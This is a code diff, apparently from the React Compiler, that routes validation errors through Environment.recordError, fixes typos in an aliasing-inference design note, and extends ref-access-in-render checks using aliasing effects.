@@ -664,7 +664,7 @@ class AliasingState {
|
||||
}
|
||||
}
|
||||
|
||||
render(index: number, start: Identifier, errors: CompilerError): void {
|
||||
render(index: number, start: Identifier, env: Environment | null): void {
|
||||
const seen = new Set<Identifier>();
|
||||
const queue: Array<Identifier> = [start];
|
||||
while (queue.length !== 0) {
|
||||
@@ -678,7 +678,7 @@ class AliasingState {
|
||||
continue;
|
||||
}
|
||||
if (node.value.kind === 'Function') {
|
||||
appendFunctionErrors(errors, node.value.function);
|
||||
appendFunctionErrors(env, node.value.function);
|
||||
}
|
||||
for (const [alias, when] of node.createdFrom) {
|
||||
if (when >= index) {
|
||||
@@ -710,7 +710,7 @@ class AliasingState {
|
||||
startKind: MutationKind,
|
||||
loc: SourceLocation,
|
||||
reason: MutationReason | null,
|
||||
errors: CompilerError,
|
||||
env: Environment | null,
|
||||
): void {
|
||||
const seen = new Map<Identifier, MutationKind>();
|
||||
const queue: Array<{
|
||||
@@ -742,7 +742,7 @@ class AliasingState {
|
||||
node.transitive == null &&
|
||||
node.local == null
|
||||
) {
|
||||
appendFunctionErrors(errors, node.value.function);
|
||||
appendFunctionErrors(env, node.value.function);
|
||||
}
|
||||
if (transitive) {
|
||||
if (node.transitive == null || node.transitive.kind < kind) {
|
||||
|
||||
@@ -24,7 +24,7 @@ The goal of mutability and aliasing inference is to understand the set of instru
|
||||
|
||||
In code, the mutability and aliasing model is compromised of the following phases:
|
||||
|
||||
* `InferMutationAliasingEffects`. Infers a set of mutation and aliasing effects for each instruction. The approach is to generate a set of candidate effects based purely on the semantics of each instruction and the types of the operands, then use abstract interpretation to determine the actual effects (or errros) that would apply. For example, an instruction that by default has a Capture effect might downgrade to an ImmutableCapture effect if the value is known to be frozen.
|
||||
* `InferMutationAliasingEffects`. Infers a set of mutation and aliasing effects for each instruction. The approach is to generate a set of candidate effects based purely on the semantics of each instruction and the types of the operands, then use abstract interpretation to determine the actual effects (or errors) that would apply. For example, an instruction that by default has a Capture effect might downgrade to an ImmutableCapture effect if the value is known to be frozen.
|
||||
* `InferMutationAliasingRanges`. Infers a mutable range (start:end instruction ids) for each value in the program, and annotates each Place with its effect type for usage in later passes. This builds a graph of data flow through the program over time in order to understand which mutations effect which values.
|
||||
* `InferReactiveScopeVariables`. Given the per-Place effects, determines disjoint sets of values that mutate together and assigns all identifiers in each set to a unique scope, and updates the range to include the ranges of all constituent values.
|
||||
|
||||
@@ -69,7 +69,7 @@ Describes the creation of new function value, capturing the given set of mutable
|
||||
kind: 'Apply';
|
||||
receiver: Place;
|
||||
function: Place; // same as receiver for function calls
|
||||
mutatesFunction: boolean; // indicates if this is a type that we consdier to mutate the function itself by default
|
||||
mutatesFunction: boolean; // indicates if this is a type that we consider to mutate the function itself by default
|
||||
args: Array<Place | SpreadPattern | Hole>;
|
||||
into: Place; // where result is stored
|
||||
signature: FunctionSignature | null;
|
||||
@@ -526,7 +526,7 @@ Capture c <- a
|
||||
|
||||
Intuition: these effects are inverses of each other (capturing into an object, extracting from an object). The result is based on the order of operations:
|
||||
|
||||
Capture then CreatFrom is equivalent to Alias: we have to assume that the result _is_ the original value and that a local mutation of the result could mutate the original.
|
||||
Capture then CreateFrom is equivalent to Alias: we have to assume that the result _is_ the original value and that a local mutation of the result could mutate the original.
|
||||
|
||||
```js
|
||||
const b = [a]; // capture
|
||||
|
||||
@@ -13,7 +13,11 @@ import {
|
||||
pruneUnusedLabels,
|
||||
renameVariables,
|
||||
} from '.';
|
||||
import {CompilerError, ErrorCategory} from '../CompilerError';
|
||||
import {
|
||||
CompilerError,
|
||||
CompilerErrorDetail,
|
||||
ErrorCategory,
|
||||
} from '../CompilerError';
|
||||
import {Environment, ExternalFunction} from '../HIR';
|
||||
import {
|
||||
ArrayPattern,
|
||||
@@ -347,10 +351,6 @@ function codegenReactiveFunction(
|
||||
}
|
||||
}
|
||||
|
||||
if (cx.errors.hasAnyErrors()) {
|
||||
fn.env.recordErrors(cx.errors);
|
||||
}
|
||||
|
||||
const countMemoBlockVisitor = new CountMemoBlockVisitor(fn.env);
|
||||
visitReactiveFunction(fn, countMemoBlockVisitor, undefined);
|
||||
|
||||
@@ -420,7 +420,6 @@ class Context {
|
||||
*/
|
||||
#declarations: Set<DeclarationId> = new Set();
|
||||
temp: Temporaries;
|
||||
errors: CompilerError = new CompilerError();
|
||||
objectMethods: Map<IdentifierId, ObjectMethod> = new Map();
|
||||
uniqueIdentifiers: Set<string>;
|
||||
fbtOperands: Set<IdentifierId>;
|
||||
@@ -439,6 +438,11 @@ class Context {
|
||||
this.fbtOperands = fbtOperands;
|
||||
this.temp = temporaries !== null ? new Map(temporaries) : new Map();
|
||||
}
|
||||
|
||||
recordError(error: CompilerErrorDetail): void {
|
||||
this.env.recordError(error);
|
||||
}
|
||||
|
||||
get nextCacheIndex(): number {
|
||||
return this.#nextCacheIndex++;
|
||||
}
|
||||
@@ -775,12 +779,14 @@ function codegenTerminal(
|
||||
loc: terminal.init.loc,
|
||||
});
|
||||
if (terminal.init.instructions.length !== 2) {
|
||||
cx.errors.push({
|
||||
reason: 'Support non-trivial for..in inits',
|
||||
category: ErrorCategory.Todo,
|
||||
loc: terminal.init.loc,
|
||||
suggestions: null,
|
||||
});
|
||||
cx.recordError(
|
||||
new CompilerErrorDetail({
|
||||
reason: 'Support non-trivial for..in inits',
|
||||
category: ErrorCategory.Todo,
|
||||
loc: terminal.init.loc,
|
||||
suggestions: null,
|
||||
}),
|
||||
);
|
||||
return t.emptyStatement();
|
||||
}
|
||||
const iterableCollection = terminal.init.instructions[0];
|
||||
@@ -796,12 +802,14 @@ function codegenTerminal(
|
||||
break;
|
||||
}
|
||||
case 'StoreContext': {
|
||||
cx.errors.push({
|
||||
reason: 'Support non-trivial for..in inits',
|
||||
category: ErrorCategory.Todo,
|
||||
loc: terminal.init.loc,
|
||||
suggestions: null,
|
||||
});
|
||||
cx.recordError(
|
||||
new CompilerErrorDetail({
|
||||
reason: 'Support non-trivial for..in inits',
|
||||
category: ErrorCategory.Todo,
|
||||
loc: terminal.init.loc,
|
||||
suggestions: null,
|
||||
}),
|
||||
);
|
||||
return t.emptyStatement();
|
||||
}
|
||||
default:
|
||||
@@ -872,12 +880,14 @@ function codegenTerminal(
|
||||
loc: terminal.test.loc,
|
||||
});
|
||||
if (terminal.test.instructions.length !== 2) {
|
||||
cx.errors.push({
|
||||
reason: 'Support non-trivial for..of inits',
|
||||
category: ErrorCategory.Todo,
|
||||
loc: terminal.init.loc,
|
||||
suggestions: null,
|
||||
});
|
||||
cx.recordError(
|
||||
new CompilerErrorDetail({
|
||||
reason: 'Support non-trivial for..of inits',
|
||||
category: ErrorCategory.Todo,
|
||||
loc: terminal.init.loc,
|
||||
suggestions: null,
|
||||
}),
|
||||
);
|
||||
return t.emptyStatement();
|
||||
}
|
||||
const iterableItem = terminal.test.instructions[1];
|
||||
@@ -892,12 +902,14 @@ function codegenTerminal(
|
||||
break;
|
||||
}
|
||||
case 'StoreContext': {
|
||||
cx.errors.push({
|
||||
reason: 'Support non-trivial for..of inits',
|
||||
category: ErrorCategory.Todo,
|
||||
loc: terminal.init.loc,
|
||||
suggestions: null,
|
||||
});
|
||||
cx.recordError(
|
||||
new CompilerErrorDetail({
|
||||
reason: 'Support non-trivial for..of inits',
|
||||
category: ErrorCategory.Todo,
|
||||
loc: terminal.init.loc,
|
||||
suggestions: null,
|
||||
}),
|
||||
);
|
||||
return t.emptyStatement();
|
||||
}
|
||||
default:
|
||||
@@ -1957,22 +1969,26 @@ function codegenInstructionValue(
|
||||
} else {
|
||||
if (t.isVariableDeclaration(stmt)) {
|
||||
const declarator = stmt.declarations[0];
|
||||
cx.errors.push({
|
||||
reason: `(CodegenReactiveFunction::codegenInstructionValue) Cannot declare variables in a value block, tried to declare '${
|
||||
(declarator.id as t.Identifier).name
|
||||
}'`,
|
||||
category: ErrorCategory.Todo,
|
||||
loc: declarator.loc ?? null,
|
||||
suggestions: null,
|
||||
});
|
||||
cx.recordError(
|
||||
new CompilerErrorDetail({
|
||||
reason: `(CodegenReactiveFunction::codegenInstructionValue) Cannot declare variables in a value block, tried to declare '${
|
||||
(declarator.id as t.Identifier).name
|
||||
}'`,
|
||||
category: ErrorCategory.Todo,
|
||||
loc: declarator.loc ?? null,
|
||||
suggestions: null,
|
||||
}),
|
||||
);
|
||||
return t.stringLiteral(`TODO handle ${declarator.id}`);
|
||||
} else {
|
||||
cx.errors.push({
|
||||
reason: `(CodegenReactiveFunction::codegenInstructionValue) Handle conversion of ${stmt.type} to expression`,
|
||||
category: ErrorCategory.Todo,
|
||||
loc: stmt.loc ?? null,
|
||||
suggestions: null,
|
||||
});
|
||||
cx.recordError(
|
||||
new CompilerErrorDetail({
|
||||
reason: `(CodegenReactiveFunction::codegenInstructionValue) Handle conversion of ${stmt.type} to expression`,
|
||||
category: ErrorCategory.Todo,
|
||||
loc: stmt.loc ?? null,
|
||||
suggestions: null,
|
||||
}),
|
||||
);
|
||||
return t.stringLiteral(`TODO handle ${stmt.type}`);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -143,7 +143,7 @@ export function inferReactiveScopeVariables(fn: HIRFunction): void {
|
||||
}
|
||||
|
||||
/*
|
||||
* Validate that all scopes have properly intialized, valid mutable ranges
|
||||
* Validate that all scopes have properly initialized, valid mutable ranges
|
||||
* within the span of instructions for this function, ie from 1 to 1 past
|
||||
* the last instruction id.
|
||||
*/
|
||||
|
||||
@@ -102,7 +102,6 @@ export function validateExhaustiveDependencies(fn: HIRFunction): void {
|
||||
loc: place.loc,
|
||||
});
|
||||
}
|
||||
const error = new CompilerError();
|
||||
let startMemo: StartMemoize | null = null;
|
||||
|
||||
function onStartMemoize(
|
||||
@@ -143,7 +142,8 @@ export function validateExhaustiveDependencies(fn: HIRFunction): void {
|
||||
'all',
|
||||
);
|
||||
if (diagnostic != null) {
|
||||
error.pushDiagnostic(diagnostic);
|
||||
fn.env.recordError(diagnostic);
|
||||
startMemo.hasInvalidDeps = true;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -208,15 +208,12 @@ export function validateExhaustiveDependencies(fn: HIRFunction): void {
|
||||
effectReportMode,
|
||||
);
|
||||
if (diagnostic != null) {
|
||||
error.pushDiagnostic(diagnostic);
|
||||
fn.env.recordError(diagnostic);
|
||||
}
|
||||
},
|
||||
},
|
||||
false, // isFunctionExpression
|
||||
);
|
||||
if (error.hasAnyErrors()) {
|
||||
fn.env.recordErrors(error);
|
||||
}
|
||||
}
|
||||
|
||||
function validateDependencies(
|
||||
|
||||
@@ -6,13 +6,9 @@
|
||||
*/
|
||||
|
||||
import * as t from '@babel/types';
|
||||
import {
|
||||
CompilerError,
|
||||
CompilerErrorDetail,
|
||||
ErrorCategory,
|
||||
} from '../CompilerError';
|
||||
import {CompilerErrorDetail, ErrorCategory} from '../CompilerError';
|
||||
import {computeUnconditionalBlocks} from '../HIR/ComputeUnconditionalBlocks';
|
||||
import {isHookName} from '../HIR/Environment';
|
||||
import {Environment, isHookName} from '../HIR/Environment';
|
||||
import {
|
||||
HIRFunction,
|
||||
IdentifierId,
|
||||
@@ -90,15 +86,14 @@ function joinKinds(a: Kind, b: Kind): Kind {
|
||||
export function validateHooksUsage(fn: HIRFunction): void {
|
||||
const unconditionalBlocks = computeUnconditionalBlocks(fn);
|
||||
|
||||
const errors = new CompilerError();
|
||||
const errorsByPlace = new Map<t.SourceLocation, CompilerErrorDetail>();
|
||||
|
||||
function recordError(
|
||||
function trackError(
|
||||
loc: SourceLocation,
|
||||
errorDetail: CompilerErrorDetail,
|
||||
): void {
|
||||
if (typeof loc === 'symbol') {
|
||||
errors.pushErrorDetail(errorDetail);
|
||||
fn.env.recordError(errorDetail);
|
||||
} else {
|
||||
errorsByPlace.set(loc, errorDetail);
|
||||
}
|
||||
@@ -118,7 +113,7 @@ export function validateHooksUsage(fn: HIRFunction): void {
|
||||
* If that same place is also used as a conditional call, upgrade the error to a conditonal hook error
|
||||
*/
|
||||
if (previousError === undefined || previousError.reason !== reason) {
|
||||
recordError(
|
||||
trackError(
|
||||
place.loc,
|
||||
new CompilerErrorDetail({
|
||||
category: ErrorCategory.Hooks,
|
||||
@@ -134,7 +129,7 @@ export function validateHooksUsage(fn: HIRFunction): void {
|
||||
const previousError =
|
||||
typeof place.loc !== 'symbol' ? errorsByPlace.get(place.loc) : undefined;
|
||||
if (previousError === undefined) {
|
||||
recordError(
|
||||
trackError(
|
||||
place.loc,
|
||||
new CompilerErrorDetail({
|
||||
category: ErrorCategory.Hooks,
|
||||
@@ -151,7 +146,7 @@ export function validateHooksUsage(fn: HIRFunction): void {
|
||||
const previousError =
|
||||
typeof place.loc !== 'symbol' ? errorsByPlace.get(place.loc) : undefined;
|
||||
if (previousError === undefined) {
|
||||
recordError(
|
||||
trackError(
|
||||
place.loc,
|
||||
new CompilerErrorDetail({
|
||||
category: ErrorCategory.Hooks,
|
||||
@@ -396,7 +391,7 @@ export function validateHooksUsage(fn: HIRFunction): void {
|
||||
}
|
||||
case 'ObjectMethod':
|
||||
case 'FunctionExpression': {
|
||||
visitFunctionExpression(errors, instr.value.loweredFunc.func);
|
||||
visitFunctionExpression(fn.env, instr.value.loweredFunc.func);
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
@@ -421,20 +416,17 @@ export function validateHooksUsage(fn: HIRFunction): void {
|
||||
}
|
||||
|
||||
for (const [, error] of errorsByPlace) {
|
||||
errors.pushErrorDetail(error);
|
||||
}
|
||||
if (errors.hasAnyErrors()) {
|
||||
fn.env.recordErrors(errors);
|
||||
fn.env.recordError(error);
|
||||
}
|
||||
}
|
||||
|
||||
function visitFunctionExpression(errors: CompilerError, fn: HIRFunction): void {
|
||||
function visitFunctionExpression(env: Environment, fn: HIRFunction): void {
|
||||
for (const [, block] of fn.body.blocks) {
|
||||
for (const instr of block.instructions) {
|
||||
switch (instr.value.kind) {
|
||||
case 'ObjectMethod':
|
||||
case 'FunctionExpression': {
|
||||
visitFunctionExpression(errors, instr.value.loweredFunc.func);
|
||||
visitFunctionExpression(env, instr.value.loweredFunc.func);
|
||||
break;
|
||||
}
|
||||
case 'MethodCall':
|
||||
@@ -445,7 +437,7 @@ function visitFunctionExpression(errors: CompilerError, fn: HIRFunction): void {
|
||||
: instr.value.property;
|
||||
const hookKind = getHookKind(fn.env, callee.identifier);
|
||||
if (hookKind != null) {
|
||||
errors.pushErrorDetail(
|
||||
env.recordError(
|
||||
new CompilerErrorDetail({
|
||||
category: ErrorCategory.Hooks,
|
||||
reason:
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*/
|
||||
|
||||
import {CompilerError, CompilerErrorDetail, EnvironmentConfig} from '..';
|
||||
import {CompilerErrorDetail, EnvironmentConfig} from '..';
|
||||
import {ErrorCategory} from '../CompilerError';
|
||||
import {HIRFunction, IdentifierId} from '../HIR';
|
||||
import {DEFAULT_GLOBALS} from '../HIR/Globals';
|
||||
@@ -20,7 +20,6 @@ export function validateNoCapitalizedCalls(fn: HIRFunction): void {
|
||||
return ALLOW_LIST.has(name);
|
||||
};
|
||||
|
||||
const errors = new CompilerError();
|
||||
const capitalLoadGlobals = new Map<IdentifierId, string>();
|
||||
const capitalizedProperties = new Map<IdentifierId, string>();
|
||||
const reason =
|
||||
@@ -72,20 +71,19 @@ export function validateNoCapitalizedCalls(fn: HIRFunction): void {
|
||||
const propertyIdentifier = value.property.identifier.id;
|
||||
const propertyName = capitalizedProperties.get(propertyIdentifier);
|
||||
if (propertyName != null) {
|
||||
errors.push({
|
||||
category: ErrorCategory.CapitalizedCalls,
|
||||
reason,
|
||||
description: `${propertyName} may be a component`,
|
||||
loc: value.loc,
|
||||
suggestions: null,
|
||||
});
|
||||
fn.env.recordError(
|
||||
new CompilerErrorDetail({
|
||||
category: ErrorCategory.CapitalizedCalls,
|
||||
reason,
|
||||
description: `${propertyName} may be a component`,
|
||||
loc: value.loc,
|
||||
suggestions: null,
|
||||
}),
|
||||
);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (errors.hasAnyErrors()) {
|
||||
fn.env.recordErrors(errors);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
*/
|
||||
|
||||
import {CompilerError, SourceLocation} from '..';
|
||||
import {ErrorCategory} from '../CompilerError';
|
||||
import {CompilerErrorDetail, ErrorCategory} from '../CompilerError';
|
||||
import {
|
||||
ArrayExpression,
|
||||
BlockId,
|
||||
@@ -20,6 +20,7 @@ import {
|
||||
eachInstructionValueOperand,
|
||||
eachTerminalOperand,
|
||||
} from '../HIR/visitors';
|
||||
import {Environment} from '../HIR/Environment';
|
||||
|
||||
/**
|
||||
* Validates that useEffect is not used for derived computations which could/should
|
||||
@@ -49,8 +50,6 @@ export function validateNoDerivedComputationsInEffects(fn: HIRFunction): void {
|
||||
const functions: Map<IdentifierId, FunctionExpression> = new Map();
|
||||
const locals: Map<IdentifierId, IdentifierId> = new Map();
|
||||
|
||||
const errors = new CompilerError();
|
||||
|
||||
for (const block of fn.body.blocks.values()) {
|
||||
for (const instr of block.instructions) {
|
||||
const {lvalue, value} = instr;
|
||||
@@ -90,20 +89,19 @@ export function validateNoDerivedComputationsInEffects(fn: HIRFunction): void {
|
||||
validateEffect(
|
||||
effectFunction.loweredFunc.func,
|
||||
dependencies,
|
||||
errors,
|
||||
fn.env,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
fn.env.recordErrors(errors);
|
||||
}
|
||||
|
||||
function validateEffect(
|
||||
effectFunction: HIRFunction,
|
||||
effectDeps: Array<IdentifierId>,
|
||||
errors: CompilerError,
|
||||
env: Environment,
|
||||
): void {
|
||||
for (const operand of effectFunction.context) {
|
||||
if (isSetStateType(operand.identifier)) {
|
||||
@@ -217,13 +215,15 @@ function validateEffect(
|
||||
}
|
||||
|
||||
for (const loc of setStateLocations) {
|
||||
errors.push({
|
||||
category: ErrorCategory.EffectDerivationsOfState,
|
||||
reason:
|
||||
'Values derived from props and state should be calculated during render, not in an effect. (https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state)',
|
||||
description: null,
|
||||
loc,
|
||||
suggestions: null,
|
||||
});
|
||||
env.recordError(
|
||||
new CompilerErrorDetail({
|
||||
category: ErrorCategory.EffectDerivationsOfState,
|
||||
reason:
|
||||
'Values derived from props and state should be calculated during render, not in an effect. (https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state)',
|
||||
description: null,
|
||||
loc,
|
||||
suggestions: null,
|
||||
}),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*/
|
||||
|
||||
import {CompilerDiagnostic, CompilerError, Effect} from '..';
|
||||
import {CompilerDiagnostic, Effect} from '..';
|
||||
import {ErrorCategory} from '../CompilerError';
|
||||
import {
|
||||
HIRFunction,
|
||||
@@ -43,7 +43,6 @@ import {AliasingEffect} from '../Inference/AliasingEffects';
|
||||
* that are passed where a frozen value is expected and rejects them.
|
||||
*/
|
||||
export function validateNoFreezingKnownMutableFunctions(fn: HIRFunction): void {
|
||||
const errors = new CompilerError();
|
||||
const contextMutationEffects: Map<
|
||||
IdentifierId,
|
||||
Extract<AliasingEffect, {kind: 'Mutate'} | {kind: 'MutateTransitive'}>
|
||||
@@ -60,7 +59,7 @@ export function validateNoFreezingKnownMutableFunctions(fn: HIRFunction): void {
|
||||
place.identifier.name.kind === 'named'
|
||||
? `\`${place.identifier.name.value}\``
|
||||
: 'a local variable';
|
||||
errors.pushDiagnostic(
|
||||
fn.env.recordError(
|
||||
CompilerDiagnostic.create({
|
||||
category: ErrorCategory.Immutability,
|
||||
reason: 'Cannot modify local variables after render completes',
|
||||
@@ -159,7 +158,4 @@ export function validateNoFreezingKnownMutableFunctions(fn: HIRFunction): void {
|
||||
visitOperand(operand);
|
||||
}
|
||||
}
|
||||
if (errors.hasAnyErrors()) {
|
||||
fn.env.recordErrors(errors);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*/
|
||||
|
||||
import {CompilerDiagnostic, CompilerError} from '..';
|
||||
import {CompilerDiagnostic} from '..';
|
||||
import {ErrorCategory} from '../CompilerError';
|
||||
import {HIRFunction} from '../HIR';
|
||||
import {getFunctionCallSignature} from '../Inference/InferMutationAliasingEffects';
|
||||
@@ -20,7 +20,6 @@ import {getFunctionCallSignature} from '../Inference/InferMutationAliasingEffect
|
||||
* and use it here.
|
||||
*/
|
||||
export function validateNoImpureFunctionsInRender(fn: HIRFunction): void {
|
||||
const errors = new CompilerError();
|
||||
for (const [, block] of fn.body.blocks) {
|
||||
for (const instr of block.instructions) {
|
||||
const value = instr.value;
|
||||
@@ -32,7 +31,7 @@ export function validateNoImpureFunctionsInRender(fn: HIRFunction): void {
|
||||
callee.identifier.type,
|
||||
);
|
||||
if (signature != null && signature.impure === true) {
|
||||
errors.pushDiagnostic(
|
||||
fn.env.recordError(
|
||||
CompilerDiagnostic.create({
|
||||
category: ErrorCategory.Purity,
|
||||
reason: 'Cannot call impure function during render',
|
||||
@@ -52,7 +51,4 @@ export function validateNoImpureFunctionsInRender(fn: HIRFunction): void {
|
||||
}
|
||||
}
|
||||
}
|
||||
if (errors.hasAnyErrors()) {
|
||||
fn.env.recordErrors(errors);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -124,8 +124,8 @@ export function validateNoRefAccessInRender(fn: HIRFunction): void {
|
||||
collectTemporariesSidemap(fn, env);
|
||||
const errors = new CompilerError();
|
||||
validateNoRefAccessInRenderImpl(fn, env, errors);
|
||||
if (errors.hasAnyErrors()) {
|
||||
fn.env.recordErrors(errors);
|
||||
for (const detail of errors.details) {
|
||||
fn.env.recordError(detail);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -487,24 +487,26 @@ function validateNoRefAccessInRenderImpl(
|
||||
*/
|
||||
if (!didError) {
|
||||
const isRefLValue = isUseRefType(instr.lvalue.identifier);
|
||||
for (const operand of eachInstructionValueOperand(instr.value)) {
|
||||
/**
|
||||
* By default we check that function call operands are not refs,
|
||||
* ref values, or functions that can access refs.
|
||||
*/
|
||||
if (
|
||||
isRefLValue ||
|
||||
(hookKind != null &&
|
||||
hookKind !== 'useState' &&
|
||||
hookKind !== 'useReducer')
|
||||
) {
|
||||
if (
|
||||
isRefLValue ||
|
||||
(hookKind != null &&
|
||||
hookKind !== 'useState' &&
|
||||
hookKind !== 'useReducer')
|
||||
) {
|
||||
for (const operand of eachInstructionValueOperand(
|
||||
instr.value,
|
||||
)) {
|
||||
/**
|
||||
* Allow passing refs or ref-accessing functions when:
|
||||
* 1. lvalue is a ref (mergeRefs pattern: `mergeRefs(ref1, ref2)`)
|
||||
* 2. calling hooks (independently validated for ref safety)
|
||||
*/
|
||||
validateNoDirectRefValueAccess(errors, operand, env);
|
||||
} else if (interpolatedAsJsx.has(instr.lvalue.identifier.id)) {
|
||||
}
|
||||
} else if (interpolatedAsJsx.has(instr.lvalue.identifier.id)) {
|
||||
for (const operand of eachInstructionValueOperand(
|
||||
instr.value,
|
||||
)) {
|
||||
/**
|
||||
* Special case: the lvalue is passed as a jsx child
|
||||
*
|
||||
@@ -513,7 +515,98 @@ function validateNoRefAccessInRenderImpl(
|
||||
* render function which attempts to obey the rules.
|
||||
*/
|
||||
validateNoRefValueAccess(errors, env, operand);
|
||||
} else {
|
||||
}
|
||||
} else if (hookKind == null && instr.effects != null) {
|
||||
/**
|
||||
* For non-hook functions with known aliasing effects, use the
|
||||
* effects to determine what validation to apply for each place.
|
||||
* Track visited id:kind pairs to avoid duplicate errors.
|
||||
*/
|
||||
const visitedEffects: Set<string> = new Set();
|
||||
for (const effect of instr.effects) {
|
||||
let place: Place | null = null;
|
||||
let validation: 'ref-passed' | 'direct-ref' | 'none' = 'none';
|
||||
switch (effect.kind) {
|
||||
case 'Freeze': {
|
||||
place = effect.value;
|
||||
validation = 'direct-ref';
|
||||
break;
|
||||
}
|
||||
case 'Mutate':
|
||||
case 'MutateTransitive':
|
||||
case 'MutateConditionally':
|
||||
case 'MutateTransitiveConditionally': {
|
||||
place = effect.value;
|
||||
validation = 'ref-passed';
|
||||
break;
|
||||
}
|
||||
case 'Render': {
|
||||
place = effect.place;
|
||||
validation = 'ref-passed';
|
||||
break;
|
||||
}
|
||||
case 'Capture':
|
||||
case 'Alias':
|
||||
case 'MaybeAlias':
|
||||
case 'Assign':
|
||||
case 'CreateFrom': {
|
||||
place = effect.from;
|
||||
validation = 'ref-passed';
|
||||
break;
|
||||
}
|
||||
case 'ImmutableCapture': {
|
||||
/**
|
||||
* ImmutableCapture can come from two sources:
|
||||
* 1. A known signature that explicitly freezes the operand
|
||||
* (e.g. PanResponder.create) — safe, the function doesn't
|
||||
* call callbacks during render.
|
||||
* 2. Downgraded defaults when the operand is already frozen
|
||||
* (e.g. foo(propRef)) — the function is unknown and may
|
||||
* access the ref.
|
||||
*
|
||||
* We distinguish these by checking whether the same operand
|
||||
* also has a Freeze effect on this instruction, which only
|
||||
* comes from known signatures.
|
||||
*/
|
||||
place = effect.from;
|
||||
const isFrozen = instr.effects.some(
|
||||
e =>
|
||||
e.kind === 'Freeze' &&
|
||||
e.value.identifier.id === effect.from.identifier.id,
|
||||
);
|
||||
validation = isFrozen ? 'direct-ref' : 'ref-passed';
|
||||
break;
|
||||
}
|
||||
case 'Create':
|
||||
case 'CreateFunction':
|
||||
case 'Apply':
|
||||
case 'Impure':
|
||||
case 'MutateFrozen':
|
||||
case 'MutateGlobal': {
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (place !== null && validation !== 'none') {
|
||||
const key = `${place.identifier.id}:${validation}`;
|
||||
if (!visitedEffects.has(key)) {
|
||||
visitedEffects.add(key);
|
||||
if (validation === 'direct-ref') {
|
||||
validateNoDirectRefValueAccess(errors, place, env);
|
||||
} else {
|
||||
validateNoRefPassedToFunction(
|
||||
errors,
|
||||
env,
|
||||
place,
|
||||
place.loc,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for (const operand of eachInstructionValueOperand(
|
||||
instr.value,
|
||||
)) {
|
||||
validateNoRefPassedToFunction(
|
||||
errors,
|
||||
env,
|
||||
|
||||
@@ -48,8 +48,8 @@ export function validateNoSetStateInRender(fn: HIRFunction): void {
|
||||
fn,
|
||||
unconditionalSetStateFunctions,
|
||||
);
|
||||
if (errors.hasAnyErrors()) {
|
||||
fn.env.recordErrors(errors);
|
||||
for (const detail of errors.details) {
|
||||
fn.env.recordError(detail);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -27,6 +27,7 @@ import {
|
||||
ScopeId,
|
||||
SourceLocation,
|
||||
} from '../HIR';
|
||||
import {Environment} from '../HIR/Environment';
|
||||
import {printIdentifier, printManualMemoDependency} from '../HIR/PrintHIR';
|
||||
import {
|
||||
eachInstructionValueLValue,
|
||||
@@ -48,11 +49,10 @@ import {getOrInsertDefault} from '../Utils/utils';
|
||||
*/
|
||||
export function validatePreservedManualMemoization(fn: ReactiveFunction): void {
|
||||
const state = {
|
||||
errors: new CompilerError(),
|
||||
env: fn.env,
|
||||
manualMemoState: null,
|
||||
};
|
||||
visitReactiveFunction(fn, new Visitor(), state);
|
||||
fn.env.recordErrors(state.errors);
|
||||
}
|
||||
|
||||
const DEBUG = false;
|
||||
@@ -110,7 +110,7 @@ type ManualMemoBlockState = {
|
||||
};
|
||||
|
||||
type VisitorState = {
|
||||
errors: CompilerError;
|
||||
env: Environment;
|
||||
manualMemoState: ManualMemoBlockState | null;
|
||||
};
|
||||
|
||||
@@ -230,7 +230,7 @@ function validateInferredDep(
|
||||
temporaries: Map<IdentifierId, ManualMemoDependency>,
|
||||
declsWithinMemoBlock: Set<DeclarationId>,
|
||||
validDepsInMemoBlock: Array<ManualMemoDependency>,
|
||||
errorState: CompilerError,
|
||||
env: Environment,
|
||||
memoLocation: SourceLocation,
|
||||
): void {
|
||||
let normalizedDep: ManualMemoDependency;
|
||||
@@ -280,7 +280,7 @@ function validateInferredDep(
|
||||
errorDiagnostic = merge(errorDiagnostic ?? compareResult, compareResult);
|
||||
}
|
||||
}
|
||||
errorState.pushDiagnostic(
|
||||
env.recordError(
|
||||
CompilerDiagnostic.create({
|
||||
category: ErrorCategory.PreserveManualMemo,
|
||||
reason: 'Existing memoization could not be preserved',
|
||||
@@ -426,7 +426,7 @@ class Visitor extends ReactiveFunctionVisitor<VisitorState> {
|
||||
this.temporaries,
|
||||
state.manualMemoState.decls,
|
||||
state.manualMemoState.depsFromSource,
|
||||
state.errors,
|
||||
state.env,
|
||||
state.manualMemoState.loc,
|
||||
);
|
||||
}
|
||||
@@ -486,16 +486,25 @@ class Visitor extends ReactiveFunctionVisitor<VisitorState> {
|
||||
ids.add(value.place.identifier);
|
||||
}
|
||||
if (value.kind === 'StartMemoize') {
|
||||
let depsFromSource: Array<ManualMemoDependency> | null = null;
|
||||
if (value.deps != null) {
|
||||
depsFromSource = value.deps;
|
||||
}
|
||||
CompilerError.invariant(state.manualMemoState == null, {
|
||||
reason: 'Unexpected nested StartMemoize instructions',
|
||||
description: `Bad manual memoization ids: ${state.manualMemoState?.manualMemoId}, ${value.manualMemoId}`,
|
||||
loc: value.loc,
|
||||
});
|
||||
|
||||
if (value.hasInvalidDeps === true) {
|
||||
/*
|
||||
* ValidateExhaustiveDependencies already reported an error for this
|
||||
* memo block, skip validation to avoid duplicate errors
|
||||
*/
|
||||
return;
|
||||
}
|
||||
|
||||
